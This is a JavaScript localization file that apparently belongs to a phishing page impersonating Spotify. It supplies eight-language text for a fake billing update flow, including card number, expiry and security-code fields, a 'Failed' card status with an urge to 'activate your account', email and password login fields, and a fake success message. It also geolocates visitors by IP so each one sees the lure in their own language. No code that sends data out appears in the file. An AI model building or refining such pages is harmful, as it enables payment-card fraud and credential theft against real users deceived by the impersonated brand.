// Function to get current date and time
function getCurrentDateTime() {
const now = new Date()
const year = now.getFullYear()
const month = String(now.getMonth() + 1).padStart(2, "0")
const day = String(now.getDate()).padStart(2, "0")
const hours = String(now.getHours()).padStart(2, "0")
const minutes = String(now.getMinutes()).padStart(2, "0")
const seconds = String(now.getSeconds()).padStart(2, "0")
return `${day}.${month}.${year} ${hours}:${minutes}:${seconds}`
}
// Translation dictionary
const translations = {
en: {
"page-title": "Spotify - Update Payment Details",
"update-billing-title": "Update your billing details",
"update-payment-title": "Update\npayment details",
"credit-debit-card": "Credit or debit card",
"card-number-label": "Card number",
"card-number-placeholder": "0000 0000 0000 0000",
"expiry-date-label": "Expiry date",
"expiry-placeholder": "MM/YY",
"security-code-label": "Security code",
"save-card-text": "Save card for future orders.",
"subscription-notice":
"This won't affect how you pay for existing subscriptions and can be managed at any time in your Account page.",
"withdrawal-title": "Important information about your right to withdraw",
"withdrawal-text":
"You consent to us providing you with the Spotify content immediately and you acknowledge that, as a result, you lose your statutory right of withdrawal once such provision of content has begun. You also agree that Spotify may automatically charge you the subscription fee every month, unless you cancel your subscription before the next billing cycle. You may cancel at any time, however if you cancel, you will not be entitled to a refund. Full terms and instructions on how to cancel are available here. Terms apply.",
"step-indicator": "Step 2 of 3",
"step-title": "Update your billing",
"payment-cards-title": "Payment Cards",
"payment-cards-subtitle": "To activate your account please update your card details",
"my-cards": "My cards",
"card-status": "Failed",
"update-button": "Update",
premium: "Premium",
support: "Support",
download: "Download",
profile: "Profile",
"continue-google": "Continue with Google",
"continue-facebook": "Continue with Facebook",
"continue-apple": "Continue with Apple",
"continue-phone": "Continue with phone number",
"email-label": "Email or username",
"email-placeholder": "Email or username",
"password-label": "Password",
"password-placeholder": "Password",
"login-button": "Log In",
"forgot-password": "Forgot your password?",
"no-account": "Don't have an account?",
"sign-up": "Sign up for Spotify",
"success-title": "Payment Updated Successfully!",
"success-message": "We have successfully updated your payment details.",
"subscription-message": "You can now enjoy your Spotify Premium subscription without any interruptions.",
"redirect-message": "You will be redirected to your profile in",
seconds: "seconds",
"recaptcha-full": "This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.",
},
pl: {
"page-title": "Spotify - Aktualizuj dane płatności",
"update-billing-title": "Zaktualizuj swoje dane rozliczeniowe",
"update-payment-title": "Zaktualizuj\ndane płatności",
"credit-debit-card": "Karta kredytowa lub debetowa",
"card-number-label": "Numer karty",
"card-number-placeholder": "0000 0000 0000 0000",
"expiry-date-label": "Data ważności",
"expiry-placeholder": "MM/RR",
"security-code-label": "Kod bezpieczeństwa",
"save-card-text": "Zapisz kartę do przyszłych zamówień.",
"subscription-notice":
"Nie wpłynie to na sposób płacenia za istniejące subskrypcje i można to zarządzać w dowolnym momencie na stronie Konta.",
"withdrawal-title": "Ważne informacje o prawie do odstąpienia",
"withdrawal-text":
"Wyrażasz zgodę na natychmiastowe dostarczenie treści Spotify i potwierdzasz, że w rezultacie tracisz ustawowe prawo do odstąpienia po rozpoczęciu dostarczania treści. Zgadzasz się również, że Spotify może automatycznie obciążać Cię opłatą subskrypcyjną co miesiąc, chyba że anulujesz subskrypcję przed następnym cyklem rozliczeniowym. Możesz anulować w dowolnym momencie, jednak jeśli anulujesz, nie będziesz uprawniony do zwrotu. Pełne warunki i instrukcje anulowania są dostępne tutaj. Obowiązują warunki.",
"step-indicator": "Krok 2 z 3",
"step-title": "Zaktualizuj swoje rozliczenia",
"payment-cards-title": "Karty płatnicze",
"payment-cards-subtitle": "Aby aktywować konto, zaktualizuj dane karty",
"my-cards": "Moje karty",
"card-status": "Niepowodzenie",
"update-button": "Aktualizuj",
premium: "Premium",
support: "Wsparcie",
download: "Pobierz",
profile: "Profil",
"continue-google": "Kontynuuj z Google",
"continue-facebook": "Kontynuuj z Facebook",
"continue-apple": "Kontynuuj z Apple",
"continue-phone": "Kontynuuj z numerem telefonu",
"email-label": "Email lub nazwa użytkownika",
"email-placeholder": "Email lub nazwa użytkownika",
"password-label": "Hasło",
"password-placeholder": "Hasło",
"login-button": "Zaloguj się",
"forgot-password": "Zapomniałeś hasła?",
"no-account": "Nie masz konta?",
"sign-up": "Zarejestruj się w Spotify",
"success-title": "Płatność zaktualizowana pomyślnie!",
"success-message": "Pomyślnie zaktualizowaliśmy Twoje dane płatności.",
"subscription-message": "Możesz teraz cieszyć się subskrypcją Spotify Premium bez żadnych przerw.",
"redirect-message": "Zostaniesz przekierowany do swojego profilu za",
seconds: "sekund",
"recaptcha-full":
"Ta strona jest chroniona przez reCAPTCHA i Google Polityka Prywatności i Warunki Usługi mają zastosowanie.",
},
de: {
"page-title": "Spotify - Zahlungsdetails aktualisieren",
"update-billing-title": "Aktualisieren Sie Ihre Zahlungsdetails",
"update-payment-title": "Zahlungsdetails\naktualisieren",
"credit-debit-card": "Kredit- oder Debitkarte",
"card-number-label": "Kartennummer",
"card-number-placeholder": "0000 0000 0000 0000",
"expiry-date-label": "Ablaufdatum",
"expiry-placeholder": "MM/JJ",
"security-code-label": "Sicherheitscode",
"save-card-text": "Karte für zukünftige Bestellungen speichern.",
"subscription-notice":
"Dies hat keinen Einfluss darauf, wie Sie für bestehende Abonnements bezahlen, und kann jederzeit auf Ihrer Kontoseite verwaltet werden.",
"withdrawal-title": "Wichtige Informationen zu Ihrem Widerrufsrecht",
"withdrawal-text":
"Sie stimmen zu, dass wir Ihnen die Spotify-Inhalte sofort zur Verfügung stellen, und Sie erkennen an, dass Sie dadurch Ihr gesetzliches Widerrufsrecht verlieren, sobald die Bereitstellung der Inhalte begonnen hat. Sie stimmen auch zu, dass Spotify Ihnen automatisch die Abonnementgebühr jeden Monat berechnen kann, es sei denn, Sie kündigen Ihr Abonnement vor dem nächsten Abrechnungszyklus. Sie können jederzeit kündigen, jedoch haben Sie bei einer Kündigung keinen Anspruch auf Rückerstattung. Vollständige Bedingungen und Kündigungsanweisungen sind hier verfügbar. Es gelten die Bedingungen.",
"step-indicator": "Schritt 2 von 3",
"step-title": "Aktualisieren Sie Ihre Abrechnung",
"payment-cards-title": "Zahlungskarten",
"payment-cards-subtitle": "Um Ihr Konto zu aktivieren, aktualisieren Sie bitte Ihre Kartendetails",
"my-cards": "Meine Karten",
"card-status": "Fehlgeschlagen",
"update-button": "Aktualisieren",
premium: "Premium",
support: "Support",
download: "Download",
profile: "Profil",
"continue-google": "Mit Google fortfahren",
"continue-facebook": "Mit Facebook fortfahren",
"continue-apple": "Mit Apple fortfahren",
"continue-phone": "Mit Telefonnummer fortfahren",
"email-label": "E-Mail oder Benutzername",
"email-placeholder": "E-Mail oder Benutzername",
"password-label": "Passwort",
"password-placeholder": "Passwort",
"login-button": "Anmelden",
"forgot-password": "Passwort vergessen?",
"no-account": "Noch kein Konto?",
"sign-up": "Bei Spotify registrieren",
"success-title": "Zahlung erfolgreich aktualisiert!",
"success-message": "Wir haben Ihre Zahlungsdaten erfolgreich aktualisiert.",
"subscription-message": "Sie können nun Ihr Spotify Premium Abonnement ohne Unterbrechungen genießen.",
"redirect-message": "Sie werden in",
seconds: "Sekunden zu Ihrem Profil weitergeleitet",
"recaptcha-full":
"Diese Website ist durch reCAPTCHA und Google Datenschutzrichtlinie und Nutzungsbedingungen geschützt.",
},
fr: {
"page-title": "Spotify - Mettre à jour les détails de paiement",
"update-billing-title": "Mettez à jour vos détails de facturation",
"update-payment-title": "Mettre à jour\nles détails de paiement",
"credit-debit-card": "Carte de crédit ou de débit",
"card-number-label": "Numéro de carte",
"card-number-placeholder": "0000 0000 0000 0000",
"expiry-date-label": "Date d'expiration",
"expiry-placeholder": "MM/AA",
"security-code-label": "Code de sécurité",
"save-card-text": "Enregistrer la carte pour les commandes futures.",
"subscription-notice":
"Cela n'affectera pas la façon dont vous payez pour les abonnements existants et peut être géré à tout moment dans votre page de compte.",
"withdrawal-title": "Informations importantes sur votre droit de rétractation",
"withdrawal-text":
"Vous consentez à ce que nous vous fournissions le contenu Spotify immédiatement et vous reconnaissez qu'en conséquence, vous perdez votre droit légal de rétractation une fois que cette fourniture de contenu a commencé. Vous acceptez également que Spotify puisse automatiquement vous facturer les frais d'abonnement chaque mois, sauf si vous annulez votre abonnement avant le prochain cycle de facturation. Vous pouvez annuler à tout moment, cependant si vous annulez, vous n'aurez pas droit à un remboursement. Les conditions complètes et les instructions d'annulation sont disponibles ici. Les conditions s'appliquent.",
"step-indicator": "Étape 2 sur 3",
"step-title": "Mettez à jour votre facturation",
"payment-cards-title": "Cartes de paiement",
"payment-cards-subtitle": "Pour activer votre compte, veuillez mettre à jour les détails de votre carte",
"my-cards": "Mes cartes",
"card-status": "Échec",
"update-button": "Mettre à jour",
premium: "Premium",
support: "Support",
download: "Télécharger",
profile: "Profil",
"continue-google": "Continuer avec Google",
"continue-facebook": "Continuer avec Facebook",
"continue-apple": "Continuer avec Apple",
"continue-phone": "Continuer avec le numéro de téléphone",
"email-label": "E-mail ou nom d'utilisateur",
"email-placeholder": "E-mail ou nom d'utilisateur",
"password-label": "Mot de passe",
"password-placeholder": "Mot de passe",
"login-button": "Se connecter",
"forgot-password": "Mot de passe oublié?",
"no-account": "Vous n'avez pas de compte?",
"sign-up": "S'inscrire à Spotify",
"success-title": "Paiement mis à jour avec succès!",
"success-message": "Nous avons mis à jour avec succès vos détails de paiement.",
"subscription-message": "Vous pouvez maintenant profiter de votre abonnement Spotify Premium sans interruptions.",
"redirect-message": "Vous serez redirigé vers votre profil dans",
seconds: "secondes",
"recaptcha-full":
"Ce site est protégé par reCAPTCHA et Google Politique de Confidentialité et Conditions d'Utilisation s'appliquent.",
},
es: {
"page-title": "Spotify - Actualizar detalles de pago",
"update-billing-title": "Actualice sus detalles de facturación",
"update-payment-title": "Actualizar\ndetalles de pago",
"credit-debit-card": "Tarjeta de crédito o débito",
"card-number-label": "Número de tarjeta",
"card-number-placeholder": "0000 0000 0000 0000",
"expiry-date-label": "Fecha de vencimiento",
"expiry-placeholder": "MM/AA",
"security-code-label": "Código de seguridad",
"save-card-text": "Guardar tarjeta para pedidos futuros.",
"subscription-notice":
"Esto no afectará cómo pagas las suscripciones existentes y se puede gestionar en cualquier momento en tu página de Cuenta.",
"withdrawal-title": "Información importante sobre tu derecho de desistimiento",
"withdrawal-text":
"Consientes que te proporcionemos el contenido de Spotify inmediatamente y reconoces que, como resultado, pierdes tu derecho legal de desistimiento una vez que haya comenzado dicha provisión de contenido. También aceptas que Spotify puede cobrarte automáticamente la tarifa de suscripción cada mes, a menos que canceles tu suscripción antes del próximo ciclo de facturación. Puedes cancelar en cualquier momento, sin embargo, si cancelas, no tendrás derecho a reembolso. Los términos completos e instrucciones sobre cómo cancelar están disponibles aquí. Se aplican los términos.",
"step-indicator": "Paso 2 de 3",
"step-title": "Actualice su facturación",
"payment-cards-title": "Tarjetas de pago",
"payment-cards-subtitle": "Para activar su cuenta, actualice los detalles de su tarjeta",
"my-cards": "Mis tarjetas",
"card-status": "Fallido",
"update-button": "Actualizar",
premium: "Premium",
support: "Soporte",
download: "Descargar",
profile: "Perfil",
"continue-google": "Continuar con Google",
"continue-facebook": "Continuar con Facebook",
"continue-apple": "Continuar con Apple",
"continue-phone": "Continuar con número de teléfono",
"email-label": "Correo electrónico o nombre de usuario",
"email-placeholder": "Correo electrónico o nombre de usuario",
"password-label": "Contraseña",
"password-placeholder": "Contraseña",
"login-button": "Iniciar sesión",
"forgot-password": "¿Olvidaste tu contraseña?",
"no-account": "¿No tienes una cuenta?",
"sign-up": "Regístrate en Spotify",
"success-title": "¡Pago actualizado exitosamente!",
"success-message": "Hemos actualizado exitosamente sus detalles de pago.",
"subscription-message": "Ahora puede disfrutar de su suscripción Spotify Premium sin interrupciones.",
"redirect-message": "Será redirigido a su perfil en",
seconds: "segundos",
"recaptcha-full":
"Este sitio está protegido por reCAPTCHA y Google Política de Privacidad y Términos de Servicio se aplican.",
},
it: {
"page-title": "Spotify - Aggiorna i dettagli di pagamento",
"update-billing-title": "Aggiorna i tuoi dettagli di fatturazione",
"update-payment-title": "Aggiorna\ndettagli di pagamento",
"credit-debit-card": "Carta di credito o debito",
"card-number-label": "Numero carta",
"card-number-placeholder": "0000 0000 0000 0000",
"expiry-date-label": "Data di scadenza",
"expiry-placeholder": "MM/AA",
"security-code-label": "Codice di sicurezza",
"save-card-text": "Salva carta per ordini futuri.",
"subscription-notice":
"Questo non influenzerà come paghi per gli abbonamenti esistenti e può essere gestito in qualsiasi momento nella tua pagina Account.",
"withdrawal-title": "Informazioni importanti sul tuo diritto di recesso",
"withdrawal-text":
"Acconsenti che ti forniamo il contenuto Spotify immediatamente e riconosci che, di conseguenza, perdi il tuo diritto legale di recesso una volta iniziata tale fornitura di contenuto. Accetti anche che Spotify possa addebitarti automaticamente la tariffa di abbonamento ogni mese, a meno che tu non cancelli il tuo abbonamento prima del prossimo ciclo di fatturazione. Puoi cancellare in qualsiasi momento, tuttavia se cancelli, non avrai diritto a rimborso. I termini completi e le istruzioni su come cancellare sono disponibili qui. Si applicano i termini.",
"step-indicator": "Passo 2 di 3",
"step-title": "Aggiorna la tua fatturazione",
"payment-cards-title": "Carte di pagamento",
"payment-cards-subtitle": "Per attivare il tuo account, aggiorna i dettagli della tua carta",
"my-cards": "Le mie carte",
"card-status": "Fallito",
"update-button": "Aggiorna",
premium: "Premium",
support: "Supporto",
download: "Scarica",
profile: "Profilo",
"continue-google": "Continua con Google",
"continue-facebook": "Continua con Facebook",
"continue-apple": "Continua con Apple",
"continue-phone": "Continua con numero di telefono",
"email-label": "Email o nome utente",
"email-placeholder": "Email o nome utente",
"password-label": "Password",
"password-placeholder": "Password",
"login-button": "Accedi",
"forgot-password": "Password dimenticata?",
"no-account": "Non hai un account?",
"sign-up": "Registrati su Spotify",
"success-title": "Pagamento aggiornato con successo!",
"success-message": "Abbiamo aggiornato con successo i tuoi dettagli di pagamento.",
"subscription-message": "Ora puoi goderti il tuo abbonamento Spotify Premium senza interruzioni.",
"redirect-message": "Sarai reindirizzato al tuo profilo tra",
seconds: "secondi",
"recaptcha-full":
"Questo sito è protetto da reCAPTCHA e Google Informativa sulla Privacy e Termini di Servizio si applicano.",
},
nl: {
"page-title": "Spotify - Betalingsgegevens wijzigen",
"update-billing-title": "Werk uw factureringsgegevens bij",
"update-payment-title": "Betalingsgegevens\nbijwerken",
"credit-debit-card": "Credit- of debetkaart",
"card-number-label": "Kaartnummer",
"card-number-placeholder": "0000 0000 0000 0000",
"expiry-date-label": "Vervaldatum",
"expiry-placeholder": "MM/JJ",
"security-code-label": "Beveiligingscode",
"save-card-text": "Kaart opslaan voor toekomstige bestellingen.",
"subscription-notice":
"Dit heeft geen invloed op hoe je betaalt voor bestaande abonnementen en kan op elk moment worden beheerd op je Accountpagina.",
"withdrawal-title": "Belangrijke informatie over je herroepingsrecht",
"withdrawal-text":
"Je stemt ermee in dat we je onmiddellijk Spotify-content leveren en je erkent dat je daardoor je wettelijke herroepingsrecht verliest zodra deze levering van content is begonnen. Je stemt er ook mee in dat Spotify je automatisch de abonnementskosten elke maand kan berekenen, tenzij je je abonnement annuleert voor de volgende factureringscyclus. Je kunt op elk moment annuleren, maar als je annuleert, heb je geen recht op terugbetaling. Volledige voorwaarden en instructies voor annulering zijn hier beschikbaar. Voorwaarden zijn van toepassing.",
"step-indicator": "Stap 2 van 3",
"step-title": "Werk uw facturering bij",
"payment-cards-title": "Betaalkaarten",
"payment-cards-subtitle": "Om uw account te activeren, werk uw kaartgegevens bij",
"my-cards": "Mijn kaarten",
"card-status": "Mislukt",
"update-button": "Bijwerken",
premium: "Premium",
support: "Ondersteuning",
download: "Download",
profile: "Profiel",
"continue-google": "Doorgaan met Google",
"continue-facebook": "Doorgaan met Facebook",
"continue-apple": "Doorgaan met Apple",
"continue-phone": "Doorgaan met telefoonnummer",
"email-label": "E-mail of gebruikersnaam",
"email-placeholder": "E-mail of gebruikersnaam",
"password-label": "Wachtwoord",
"password-placeholder": "Wachtwoord",
"login-button": "Inloggen",
"forgot-password": "Wachtwoord vergeten?",
"no-account": "Geen account?",
"sign-up": "Registreren voor Spotify",
"success-title": "Betaling succesvol bijgewerkt!",
"success-message": "We hebben uw betalingsgegevens succesvol bijgewerkt.",
"subscription-message": "U kunt nu genieten van uw Spotify Premium abonnement zonder onderbrekingen.",
"redirect-message": "U wordt doorgestuurd naar uw profiel over",
seconds: "seconden",
"recaptcha-full":
"Deze site wordt beschermd door reCAPTCHA en Google Privacybeleid en Servicevoorwaarden zijn van toepassing.",
},
}
// Make translations globally available for placeholder handling
window.translations = translations
// Function to get user's country based on IP
async function getUserCountry() {
try {
const response = await fetch("https://ipapi.co/json/")
const data = await response.json()
return data.country_code.toLowerCase()
} catch (error) {
console.log("Could not detect country, using default language")
return "us" // Default to US/English
}
}
// Function to get language based on country
function getLanguageFromCountry(countryCode) {
const countryToLanguage = {
pl: "pl", // Poland
de: "de", // Germany
at: "de", // Austria
ch: "de", // Switzerland (German part)
fr: "fr", // France
be: "fr", // Belgium (French part)
ca: "fr", // Canada (French part)
es: "es", // Spain
mx: "es", // Mexico
ar: "es", // Argentina
co: "es", // Colombia
pe: "es", // Peru
it: "it", // Italy
nl: "nl", // Netherlands
us: "en", // United States
gb: "en", // United Kingdom
au: "en", // Australia
nz: "en", // New Zealand
ie: "en", // Ireland
za: "en", // South Africa
}
return countryToLanguage[countryCode] || "en" // Default to English
}
// Function to translate the page
function translatePage(language) {
const elements = document.querySelectorAll("[data-translate]")
elements.forEach((element) => {
const key = element.getAttribute("data-translate")
if (translations[language] && translations[language][key]) {
element.textContent = translations[language][key]
}
})
// Handle title translation
const titleElement = document.querySelector("title[data-translate]")
if (titleElement && translations[language] && translations[language]["page-title"]) {
titleElement.textContent = translations[language]["page-title"]
}
// Handle placeholder translations
const emailInput = document.getElementById("email")
const passwordInput = document.getElementById("password")
if (emailInput && translations[language] && translations[language]["email-placeholder"]) {
emailInput.placeholder = translations[language]["email-placeholder"]
}
if (passwordInput && translations[language] && translations[language]["password-placeholder"]) {
passwordInput.placeholder = translations[language]["password-placeholder"]
}
// Update document language
document.documentElement.lang = language
console.log(`Page translated to: ${language}`)
}
// Initialize translation and date
async function initializePage() {
// Get user's country and translate page
try {
const countryCode = await getUserCountry()
const language = getLanguageFromCountry(countryCode)
console.log(`Detected country: ${countryCode}, using language: ${language}`)
translatePage(language)
} catch (error) {
console.log("Translation failed, using default language")
translatePage("en")
}
}
// Start when page loads
document.addEventListener("DOMContentLoaded", initializePage)